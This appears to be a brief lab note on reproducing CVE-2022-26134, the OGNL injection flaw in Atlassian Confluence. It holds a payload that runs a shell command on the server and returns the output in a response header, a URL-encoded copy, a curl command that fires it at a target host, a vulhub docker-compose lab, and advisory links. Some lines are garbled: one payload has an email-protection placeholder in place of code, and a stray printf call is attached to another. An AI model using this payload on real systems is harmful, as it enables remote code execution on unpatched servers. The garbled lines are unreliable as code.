CVE-2022-26134 Confluence OGNL漏洞复现

https://my.atlassian.com/license/evaluation

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7Dprintf("hello world!");

curl -v http://your-ip:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/

https://hub.docker.com/r/atlassian/confluence-server/

version: '2' services:   web:     image: vulhub/confluence:7.13.6     ports:       - "8090:8090"       - "3789:3789"     depends_on:       - db     environment:      - JVM_SUPPORT_RECOMMENDED_ARGS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:3789"   db:     image: postgres:12.8-alpine     environment:     - POSTGRES_PASSWORD=postgres     - POSTGRES_DB=confluence

https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-26134https://confluence.atlassian.com/doc/confluence-security-advisory-2022-02-1130377146.html